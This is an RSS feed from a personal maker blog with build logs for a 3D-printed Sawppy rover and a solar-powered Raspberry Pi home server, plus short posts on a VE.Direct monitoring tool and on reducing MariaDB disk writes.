<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Blue Duck Valley Rd</title>
    <link>https://juju.nz/michaelh/</link>
      <atom:link href="https://juju.nz/michaelh/index.xml" rel="self" type="application/rss+xml" />
    <description>Blue Duck Valley Rd</description>
    <generator>Source Themes Academic (https://sourcethemes.com/academic/)</generator><language>en-us</language><copyright>© 2017 Michael Hope</copyright><lastBuildDate>Tue, 05 Jan 2021 20:50:15 +0100</lastBuildDate>
    <image>
      <url>img/map[gravatar:%!s(bool=false) shape:circle]</url>
      <title>Blue Duck Valley Rd</title>
      <link>https://juju.nz/michaelh/</link>
    </image>
    
    <item>
      <title>Ausdauer: mechanical assembly</title>
      <link>https://juju.nz/michaelh/post/2021/ausdauer_assembled2/</link>
      <pubDate>Tue, 05 Jan 2021 20:50:15 +0100</pubDate>
      <guid>https://juju.nz/michaelh/post/2021/ausdauer_assembled2/</guid>
      <description>&lt;p&gt;And that&amp;rsquo;s the end of the mechanical assembly. The differential went on fine, and the epoxy is strong enough to hold in the insets. There&amp;rsquo;s one last thing - I missed the insets on the end of the differential arm, so those are glued and curing&lt;/p&gt;
&lt;p&gt;Next is the electrical assembly. That&amp;rsquo;ll take a while as each cable will need to be cut and extended.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Ausdauer_assembled2</title>
      <link>https://juju.nz/michaelh/content/post/2021/ausdauer_assembled2/</link>
      <pubDate>Tue, 05 Jan 2021 20:50:00 +0100</pubDate>
      <guid>https://juju.nz/michaelh/content/post/2021/ausdauer_assembled2/</guid>
      <description></description>
    </item>
    
    <item>
      <title>Ausdauer: assembled</title>
      <link>https://juju.nz/michaelh/content/post/2021/ausdauer_assembled/</link>
      <pubDate>Sat, 02 Jan 2021 17:17:27 +0100</pubDate>
      <guid>https://juju.nz/michaelh/content/post/2021/ausdauer_assembled/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve almost completed the right hand side, and the left hand side is far enough along that I can assemble the whole rover!&lt;/p&gt;
&lt;p&gt;The remaining steps are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Epoxy the steering wheel and differential inserts in. I didn&amp;rsquo;t modify the print, and the 3D Jake insets are ~1 mm smaller in diameter.&lt;/li&gt;
&lt;li&gt;Cut the grooves on the left hand side shafts.&lt;/li&gt;
&lt;li&gt;Print the differential.&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Ausdauer: assembled</title>
      <link>https://juju.nz/michaelh/post/2021/ausdauer_assembled/</link>
      <pubDate>Sat, 02 Jan 2021 17:17:27 +0100</pubDate>
      <guid>https://juju.nz/michaelh/post/2021/ausdauer_assembled/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve almost completed the right hand side, and the left hand side is far enough along that I can assemble the whole rover!&lt;/p&gt;
&lt;p&gt;The remaining steps are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Epoxy the steering wheel and differential inserts in. I didn&amp;rsquo;t modify the print, and the 3D Jake insets are ~1 mm smaller in diameter.&lt;/li&gt;
&lt;li&gt;Cut the grooves on the left hand side shafts.&lt;/li&gt;
&lt;li&gt;Print the differential.&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Ausdauer: left rocker/bogie assembly</title>
      <link>https://juju.nz/michaelh/post/2020/ausdauer_left/</link>
      <pubDate>Sun, 27 Dec 2020 18:35:54 +0100</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/ausdauer_left/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m working on a build of the 
&lt;a href=&#34;https://github.com/Roger-random/Sawppy_Rover&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Sawppy rover&lt;/a&gt;. Today was a major milestone, as I finished assembling the left hand rocker/bogie assembly. This covers all of the major parts and techniques needed to build the rover, so the remaining work is to crank the handle and get the right side and box done.&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s more information at the 
&lt;a href=&#34;https://juju.nz/michaelh/project/ausdauer/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;build log&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Ausdauer</title>
      <link>https://juju.nz/michaelh/project/ausdauer/</link>
      <pubDate>Sat, 12 Dec 2020 11:50:48 +0100</pubDate>
      <guid>https://juju.nz/michaelh/project/ausdauer/</guid>
      <description>&lt;p&gt;A build of the 
&lt;a href=&#34;https://github.com/Roger-random/Sawppy_Rover&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Sawppy rover&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id=&#34;build-log&#34;&gt;Build log&lt;/h1&gt;
&lt;h2 id=&#34;2020-01-05&#34;&gt;2020-01-05&lt;/h2&gt;
&lt;p&gt;And that&amp;rsquo;s the end of the mechanical assembly! The differential went on fine, and the epoxy is strong enough to hold in the insets. There&amp;rsquo;s one last thing - I missed the insets on the end of the differential arm which are currently curing.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;assembled2.jpg&#34; alt=&#34;Assembled rover&#34;&gt;&lt;/p&gt;
&lt;p&gt;Next is the electrical assembly. That&amp;rsquo;ll take a while as each cable will need to be cut and extended.&lt;/p&gt;
&lt;h2 id=&#34;2020-01-04&#34;&gt;2020-01-04&lt;/h2&gt;
&lt;p&gt;The brace is done and the remaining insets have been epoxied in. The next steps are to wait for the epoxy to dry, assemble the box, and attach the brace. That&amp;rsquo;s pretty much it for the mechanical side.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;brace.jpg&#34; alt=&#34;Differential brace&#34;&gt;&lt;/p&gt;
&lt;p&gt;This is my first time using an epoxy. It&amp;rsquo;s quite nice to work with - viscous, and the 90 minute work time means there&amp;rsquo;s no rush. The lesson learned is that the parts can move / droop, so it&amp;rsquo;s worth checking after ~2h to see if the glued part is still in the correct position.&lt;/p&gt;
&lt;h2 id=&#34;2021-01-02&#34;&gt;2021-01-02&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;ve almost completed the right hand side, and the left hand side is far enough along that I can assemble the whole rover!&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;ausdauer1.jpg&#34; alt=&#34;Rover assembled, minus the differential&#34;&gt;&lt;/p&gt;
&lt;p&gt;The remaining steps are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Epoxy the steering wheel and differential inserts in. I didn&amp;rsquo;t modify the print, and the 3D Jake insets are ~1 mm smaller in diameter.&lt;/li&gt;
&lt;li&gt;Cut the grooves on the left hand side shafts.&lt;/li&gt;
&lt;li&gt;Print the differential.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;2021-01-01&#34;&gt;2021-01-01&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;ve now printed the right hand side, cut the beams and rods, and assembled most of it.&lt;/p&gt;
&lt;p&gt;I sanded the printer&amp;rsquo;s bed and cleaned it with IPA, and it seems to be sticking better. The 3D Jake PLA has also run out, so I&amp;rsquo;m back on the Innofil which seems to be better in general.&lt;/p&gt;
&lt;p&gt;Cura&amp;rsquo;s &amp;ldquo;one at a time&amp;rdquo; mode is useful for repeated parts such as the nut holders and circlips. If the first layer doesn&amp;rsquo;t stick to the bed then the fault is isolated to that one repetition.&lt;/p&gt;
&lt;h2 id=&#34;2020-12-27&#34;&gt;2020-12-27&lt;/h2&gt;
&lt;p&gt;Over the last few days I cut the 8 mm rod, printed the remaining rocker components, and assembled the left hand drive:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;left1.jpg&#34; alt=&#34;Left hand wheel assembly&#34;&gt;&lt;/p&gt;
&lt;p&gt;Some lessons learned:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I cut the shafts to the given dimensions plus 1 mm for each slot and 1 mm to cover any material lost during cutting.&lt;/li&gt;
&lt;li&gt;The printer adds a fair amount of &amp;lsquo;elephants foot&amp;rsquo; that needs to be removed with a file for the servos to fit.&lt;/li&gt;
&lt;li&gt;Something is off either in the bearings or components, as the E-Clips slots need an extra 1 mm of separation. For future ones I think I&amp;rsquo;ll cut one slot, then put the shaft in the assembly, then mark where the other slot should be.&lt;/li&gt;
&lt;li&gt;I haven&amp;rsquo;t been able to find E-Clips locally, but they&amp;rsquo;re (mostly) used to hold the shafts in place while assembling, and a 3D printed version works fine.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;2020-12-23&#34;&gt;2020-12-23&lt;/h2&gt;
&lt;p&gt;Today I assembled a large part of the rocker / bogie assembly.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;beams.jpg&#34; alt=&#34;Rocker and bogie mostly assembled&#34;&gt;&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve sanded the build plate and cleaned it with IPA (which is
available from the Pharmacy&amp;hellip;). I have a theory that the bottom right
of the build plate is &amp;lsquo;bad&amp;rsquo; so will test by printing on the top
left. It&amp;rsquo;s currently printing the servo holders and shows no issues.&lt;/p&gt;
&lt;h2 id=&#34;2020-12-22&#34;&gt;2020-12-22&lt;/h2&gt;
&lt;p&gt;Today&amp;rsquo;s haul is most of the rocker / bogie components:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;rocker.jpg&#34; alt=&#34;Rocker and bogie components&#34;&gt;&lt;/p&gt;
&lt;p&gt;The bearing holes are too tight, but heating the bearings on the 3D
printer bed and then inserting them with the vice works fine.&lt;/p&gt;
&lt;p&gt;I had trouble in the last two days with the new filament not sticking
to the bed, and instead getting caught on the nozzle and dragging
around the bed. I used a brillo like pad to clean the nozzle and bed
and it seems better since then.&lt;/p&gt;
&lt;h2 id=&#34;2020-12-20&#34;&gt;2020-12-20&lt;/h2&gt;
&lt;p&gt;The drawing uses &amp;lsquo;M3insertL&amp;rsquo; (5.1 mm) and &amp;lsquo;M3insertS&amp;rsquo; (3.4 mm) as
variables.&lt;/p&gt;
&lt;p&gt;The Amazon insets are 5.6mm &amp;ndash;&amp;gt; 5.12mm OD with a OAL of 3.85mm.&lt;/p&gt;
&lt;p&gt;The 3DJake insets 4.7 mm &amp;ndash;&amp;gt; 4.0 mm and 5.7 mm OAL.&lt;/p&gt;
&lt;p&gt;Based on that, use 4.0 as M3insertL. M3insertS doesn&amp;rsquo;t seem to be
used.&lt;/p&gt;
&lt;p&gt;First print is OK but tight. Go for 4.1 mm.&lt;/p&gt;
&lt;p&gt;The Philips head is 4.0 mm diameter. Drawing is 4.2 mm, but actual is
3.8 mm, so bump to 4.5 mm in the sketch.&lt;/p&gt;
&lt;p&gt;With this, I now have a wheel assembly!&lt;/p&gt;
&lt;h2 id=&#34;2020-12-18&#34;&gt;2020-12-18&lt;/h2&gt;
&lt;p&gt;All of the parts have arrived. I can&amp;rsquo;t find a source for 8 mm E-Clips
but the first assembly can use 3D printed ones.&lt;/p&gt;
&lt;p&gt;Printing the nut holders is tricky. The print often doesn&amp;rsquo;t stick to
the bed, and the nozzle drags a bad print into the next print,
disconnecting that. I&amp;rsquo;m using PrusaSlicer with Octoprint as Cura can&amp;rsquo;t
handle a thin, upright model.&lt;/p&gt;
&lt;p&gt;The threaded inserts are the wrong outer dimension. The 3D Jake ones
are M3 x 5.7 with a outside diamer of 4.7 mm, but the Sawppy ones are
5.6 mm. I&amp;rsquo;ll need to re-work the original drawing to fix this.&lt;/p&gt;
&lt;h2 id=&#34;2020-12-12&#34;&gt;2020-12-12&lt;/h2&gt;
&lt;p&gt;I cut the 
&lt;a href=&#34;https://www.makerbeam.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Makerbeam&lt;/a&gt; to length for the main box and one set of wheels. The mitre box works quite well. I added ~1mm to cover the material lost in the cut. The hacksaw is very cheap and the blade tensioner loosens over time. Not really a problem, but could be better.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;mitre.jpg&#34; alt=&#34;Mitre box with the Makerbeam clamped in&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;2020-12-11&#34;&gt;2020-12-11&lt;/h2&gt;
&lt;p&gt;The hacksaw and mitre box arrived today. Tiny, shipped from the Netherlands, and in a ~20 L box&amp;hellip;&lt;/p&gt;
&lt;p&gt;Printed the first box corners:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;wheels.jpg&#34; alt=&#34;Box corners with the three wheels printed so far&#34;&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>VE.Direct</title>
      <link>https://juju.nz/michaelh/post/2020/vedirect/</link>
      <pubDate>Tue, 01 Dec 2020 19:44:20 +0100</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/vedirect/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve released 
&lt;a href=&#34;https://github.com/nzmichaelh/vedirect/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;vedirect&lt;/a&gt;, a
tool parses the Victron VE.Direct TEXT protocol and exports the
metrics over Prometheus and MQTT. This can be used to monitor your
solar installation and view statistics in tools like Grafana or Home
Assistant.&lt;/p&gt;
&lt;p&gt;See the

&lt;a href=&#34;https://github.com/nzmichaelh/vedirect/blob/master/README.md&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;README&lt;/a&gt;
for more. I&amp;rsquo;m using this to monitor the solar system used to power my
home server.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Vedirect</title>
      <link>https://juju.nz/michaelh/content/post/2020/vedirect/</link>
      <pubDate>Tue, 01 Dec 2020 19:44:14 +0100</pubDate>
      <guid>https://juju.nz/michaelh/content/post/2020/vedirect/</guid>
      <description></description>
    </item>
    
    <item>
      <title>nppilot</title>
      <link>https://juju.nz/michaelh/post/2020/nppilot/</link>
      <pubDate>Fri, 27 Nov 2020 17:23:01 +0100</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/nppilot/</guid>
      <description>&lt;p&gt;I realized I haven&amp;rsquo;t posted about the current generation of &lt;code&gt;nppilot&lt;/code&gt;,
my never complete, often restarted rover project.&lt;/p&gt;
&lt;p&gt;The current version is a modified Traxxas E-Revo 1/16:&lt;/p&gt;
&lt;p&gt;Under the hood this is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A Revo controller running ROSflight for control and sensors.&lt;/li&gt;
&lt;li&gt;A Raspberry Pi 3 running ROS for command and telemetry.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The frame is laser cut MDF with 3D printed mounts and
risers.&lt;/p&gt;
&lt;p&gt;It works well, but winter came before I made much progress on the
control. The goal is for the Pi to do the planning using the GPS and a
map of the local area, and to see how fast it can complete the course.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Reducing disk IO</title>
      <link>https://juju.nz/michaelh/post/2020/diskio/</link>
      <pubDate>Thu, 26 Nov 2020 00:02:42 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/diskio/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m using a Raspberry Pi 4 with a USB3 based SSD to host this website
and other services, and as a side effect the lounge looks like a disco
due to all the flashing activity LEDs.&lt;/p&gt;
&lt;p&gt;The machine should be fairly idle so I went looking for where the disk
activity was coming from.&lt;/p&gt;
&lt;p&gt;Running &lt;code&gt;iotop -a&lt;/code&gt; and looking at the writes shows that mysql (aka
MariaDB) is by far the heaviest writer.&lt;/p&gt;
&lt;p&gt;Looking at the metrics recorded by the Prometheus

&lt;a href=&#34;https://github.com/prometheus/mysqld_exporter&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;mysqld_exporter&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;delta(mysql_global_status_commands_total[1h])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;gives:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;mysql.png&#34; alt=&#34;MariaDB commands per hour&#34;&gt;&lt;/p&gt;
&lt;p&gt;which is dominated by inserts.&lt;/p&gt;
&lt;p&gt;Dropping to the mysql command line and running:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT table_name, table_rows from
INFORMATION_SCHEMA.TABLES ORDER BY table_rows DESC LIMIT 20;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;gives:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;table_name&lt;/th&gt;
&lt;th&gt;table_rows&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;events&lt;/td&gt;
&lt;td&gt;1731748&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;states&lt;/td&gt;
&lt;td&gt;1577498&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;oc_filecache&lt;/td&gt;
&lt;td&gt;26239&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;notice&lt;/td&gt;
&lt;td&gt;23483&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The &lt;code&gt;events&lt;/code&gt; and &lt;code&gt;states&lt;/code&gt; tables are part of my

&lt;a href=&#34;https://www.home-assistant.io/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;HomeAssistant&lt;/a&gt; installation. Reading
the docs shows that the &lt;code&gt;recorder&lt;/code&gt; commits every second and changing this
to 5m using:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;recorder:
  db_url: mysql+pymysql://hass:....@db/hass?charset=utf8
  commit_interval: 300
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;fixes the problem. This reduces the write rate from 680 KiB/s to
~95 KiB/s:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;writes.png&#34; alt=&#34;Bytes written per 10 minutes&#34;&gt;&lt;/p&gt;
&lt;p&gt;and cuts the I/O seconds per second:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;iosecs.png&#34; alt=&#34;I/O seconds per second&#34;&gt;&lt;/p&gt;
&lt;p&gt;and makes the lounge much less blinky, yay!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Solar at home</title>
      <link>https://juju.nz/michaelh/post/2020/solarch/</link>
      <pubDate>Thu, 19 Nov 2020 00:00:00 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2020/solarch/</guid>
      <description>&lt;p&gt;For the last month or so I&amp;rsquo;ve been working on making my home server
(which also hosts this blog!) solar powered. It&amp;rsquo;s pointless but
entertaining, and this is a first of a series of posts about what I
learned on the way.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;mounted.jpg&#34; alt=&#34;Solar panel mounted on the frame&#34;&gt;&lt;/p&gt;
&lt;p&gt;The summary is that a 55 W panel with 200 Wh of battery is enough to
power a Raspberry Pi 4 with SSD during the European winter. You still
need a mains power fallback, as a couple of days of grey weather will
deplete the battery.&lt;/p&gt;
&lt;p&gt;The last 7d have been fairly sunny:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;totals.png&#34; alt=&#34;Total power generation in Wh per day&#34;&gt;&lt;/p&gt;
&lt;p&gt;This graph shows the power generated over a 16h window, so the peaks
are the total generation for that day. Total for the week was 741 Wh
or $0.15.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Solar in CH</title>
      <link>https://juju.nz/michaelh/project/solarch/</link>
      <pubDate>Thu, 15 Oct 2020 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/project/solarch/</guid>
      <description>&lt;p&gt;This is a build log of my work-in-progress project to solar power my home server.&lt;/p&gt;
&lt;h1 id=&#34;build-log&#34;&gt;Build log&lt;/h1&gt;
&lt;h2 id=&#34;section&#34;&gt;2021-01-10&lt;/h2&gt;
&lt;p&gt;The current system is working fine but there’s plenty of room to grow. The limits on the current system are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Vbatt, no load: 13.3 V&lt;/li&gt;
&lt;li&gt;V, charging at 4.5 A: 13.9 V&lt;/li&gt;
&lt;li&gt;Imax (MPPT): 15 A&lt;/li&gt;
&lt;li&gt;Imax (charge): 10 A (~0.5 C)&lt;/li&gt;
&lt;li&gt;Imax (discharge): 22 A (~1 C)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Assuming the voltages double for a 24 V system, then:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ppv (max): &lt;code&gt;13.9 * 2 * 10 = 278 W&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Pload (max): &lt;code&gt;13.3 V * 2 * 22 = 585 W&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The current loads are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Server: &lt;code&gt;5 W * 24 h = 120 Wh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Internet: &lt;code&gt;6 W ? * 24 h = 144 Wh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;TV: 200 Wh ?&lt;/li&gt;
&lt;li&gt;Stereo: 100 Wh ?&lt;/li&gt;
&lt;li&gt;Total: 560 Wh&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The storage is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Storage: &lt;code&gt;12.8 V * 25 Ah * 2 = 640 Wh&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Take the irradiance from &lt;a href=&#34;https://re.jrc.ec.europa.eu/pvg_tools/en/&#34;&gt;PVGIS&lt;/a&gt;. Given my location, and a mount of 60 deg from horizontal, then the monthly solar irradiation is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;45 (min) / 170 (max) kWh / m^2 / month&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Changing to the optimal angle gives a peak of 200 kWh / m^2 / month (+18 %).&lt;/p&gt;
&lt;p&gt;The Victron SPM040551200 is 0.36 m^2 giving ~15 % efficiency, so the power generated is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2.4 kWh (min) / 9.2 kWh (max) / month&lt;/li&gt;
&lt;li&gt;80 Wh (min) / 300 Wh (max) / day&lt;/li&gt;
&lt;li&gt;1.45 Wh/w (min) / 5.45 Wh/w (max) / day&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There’s not much data, but taking the recent sunny days in December:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;92 Wh, 50 Wh, 47 Wh&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;which is the right ballpark.&lt;/p&gt;
&lt;p&gt;Given the generation, storage, and load, then:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fully charge during winter: &lt;code&gt;560 Wh / 1.45 Wh/w = 390 W&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Fully charge during summer: &lt;code&gt;560 Wh / 5.45 Wh/w = 102 W&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Taking a standard 215 W panel, then:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Minimum kWh / m^2 / month to fully run off solar:
&lt;ul&gt;
&lt;li&gt;Consumption: &lt;code&gt;0.560 * 30 = 17 kWh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Production: &lt;code&gt;215 W / 1.27 m^2 = 170 W / m^2 = 17 %&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Irradiance: &lt;code&gt;17 kW / 17 % = 100 kWh/month&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;5 months of the year are below this irradiance limit.&lt;/p&gt;
&lt;p&gt;Taking other sized panels:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;55 W: 390 kWh/month, so no months&lt;/li&gt;
&lt;li&gt;115 W: 186 kWh/month, so height of summer&lt;/li&gt;
&lt;li&gt;305 W: 70 kWh/month, so all but 4&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;During summer, a 215 W panel will produce &lt;code&gt;165 kWh * 1.27 m^2 * 15 % / 30 = 1050 Wh/day&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;section-1&#34;&gt;2021-01-09&lt;/h2&gt;
&lt;p&gt;The Enerpower 12 V 25 Ah arrived. The BMS doesn’t support connecting in parallel or series so I’m limited to one battery ATM.&lt;/p&gt;
&lt;p&gt;I cracked open the other and it’s a box full of cylindrical cells in a 4S8P configuration. The balance wires are easy to access so I’ve ordered a 8S 24 V BMS from Aliexpress to rewire the two into one.&lt;/p&gt;
&lt;h2 id=&#34;section-2&#34;&gt;2020-10-25&lt;/h2&gt;
&lt;p&gt;Wrote a Victron to Prometheus exporter. Now starting to get data from the controller. Peak output from the panel was 38 W.&lt;/p&gt;
&lt;p&gt;Recorded a timelapse of the sun on the target area. The Hero 7 records timelapse at 2 Hz and stores at 30 FPS, so 1s = 15s. The area is totally in shade by 10:27 in = 157 minutes after starting. Stopped at 15:01, 164m long, so in shade at 14:54. The sun is at 223 deg / 20 deg at that time, so the nearby buildings are at 20 deg.&lt;/p&gt;
&lt;h2 id=&#34;section-3&#34;&gt;2020-10-26&lt;/h2&gt;
&lt;p&gt;Printed a Victron BlueSolar to DIN adapter. Took two tries as the Victron mount isn’t flat.&lt;/p&gt;
&lt;p&gt;Made an adapter for the Raspberry Pi header that supplies power and has a voltage divider to make the 5 V VE.Direct connection work with the 3.3 V Raspberry Pi.&lt;/p&gt;
&lt;p&gt;Used the extra ports on the Raspberry Pi 4. Enabled by adding&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dtoverlay=uart0
dtoverlay=uart1
dtoverlay=uart2
dtoverlay=uart3
dtoverlay=uart4
dtoverlay=uart5&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to &lt;code&gt;/boot/firmware/config.txt&lt;/code&gt;. This creates &lt;code&gt;/dev/ttyAMA0&lt;/code&gt; through to &lt;code&gt;/dev/ttyAMA4&lt;/code&gt;. &lt;code&gt;ttyAMA4&lt;/code&gt; didn’t work initially as the pin had the wrong pinmux set. This can be fixed by running:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo raspi-gpio set 13 a4 pn&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&#34;section-4&#34;&gt;2020-10-27&lt;/h2&gt;
&lt;p&gt;Got most of a day’s worth of charge. The day was cloudy with good amounts of sun. Got around 100 Wh of generation out of the panel which charged the battery about by 50 to 70 %.&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&#34;power-1.png&#34; alt=&#34;&#34; /&gt;&lt;figcaption&gt;Power generated and consumed&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure&gt;
&lt;img src=&#34;battery-1.png&#34; alt=&#34;&#34; /&gt;&lt;figcaption&gt;Battery level&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2 id=&#34;section-5&#34;&gt;2020-10-28&lt;/h2&gt;
&lt;p&gt;Wired a relay and the fall back mains supply. The relay switches to mains fast enough, but the DC ready signal from the mains doesn’t decay fast enough causing the Pi to reset.&lt;/p&gt;
&lt;p&gt;According to the Sonoff switch, the system pulls 8 W. On 12 V this is 4.3 W.&lt;/p&gt;
&lt;h2 id=&#34;section-6&#34;&gt;2020-10-29&lt;/h2&gt;
&lt;p&gt;Wrote a VE.Direct to Prometheus and MQTT exporter. Integrated with Home Assistant, works well.&lt;/p&gt;
&lt;h2 id=&#34;section-7&#34;&gt;2020-11-02&lt;/h2&gt;
&lt;p&gt;Printed the corner pieces for the stand and assembled. 11.5 mm U section aluminium for the posts. Designed for 28° which is good for winter here.&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&#34;corner.png&#34; alt=&#34;&#34; /&gt;&lt;figcaption&gt;Corner mount&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure&gt;
&lt;img src=&#34;foot.png&#34; alt=&#34;&#34; /&gt;&lt;figcaption&gt;Bottom foot&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure&gt;
&lt;img src=&#34;mounted.jpg&#34; alt=&#34;&#34; /&gt;&lt;figcaption&gt;Panel in sun with the frame&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2 id=&#34;section-8&#34;&gt;2020-11-03&lt;/h2&gt;
&lt;p&gt;Changed the power swichover relay to be driven by the Pi, and did a quick hack that checks the battery state every 10 minutes and switches using hysteresis.&lt;/p&gt;
&lt;h2 id=&#34;section-9&#34;&gt;2020-11-06&lt;/h2&gt;
&lt;p&gt;Tidied up &lt;code&gt;powersel&lt;/code&gt;, added monitoring, and set the switchover values to their final values. Still runs as root.&lt;/p&gt;
&lt;h2 id=&#34;section-10&#34;&gt;2020-11-07&lt;/h2&gt;
&lt;p&gt;Added a udev rule to give &lt;code&gt;gpio&lt;/code&gt; access to the pins, and made &lt;code&gt;powersel&lt;/code&gt; use that group.&lt;/p&gt;
&lt;p&gt;Set up backups using http://rclone.org/ to https://www.backblaze.com/b2/ on &lt;code&gt;cron.weekly&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;section-11&#34;&gt;2020-11-08&lt;/h2&gt;
&lt;p&gt;Got a first full day of OK sunshine. The switch over worked correctly and the system ran on solar or stored energy for 14h.&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&#34;fullday.png&#34; alt=&#34;&#34; /&gt;&lt;figcaption&gt;Full day of charging&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2 id=&#34;pt2&#34;&gt;2020-11-08 pt2&lt;/h2&gt;
&lt;p&gt;What’s next:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Move the panel into the final location&lt;/li&gt;
&lt;li&gt;Run the wires through the window and put the server in the final location&lt;/li&gt;
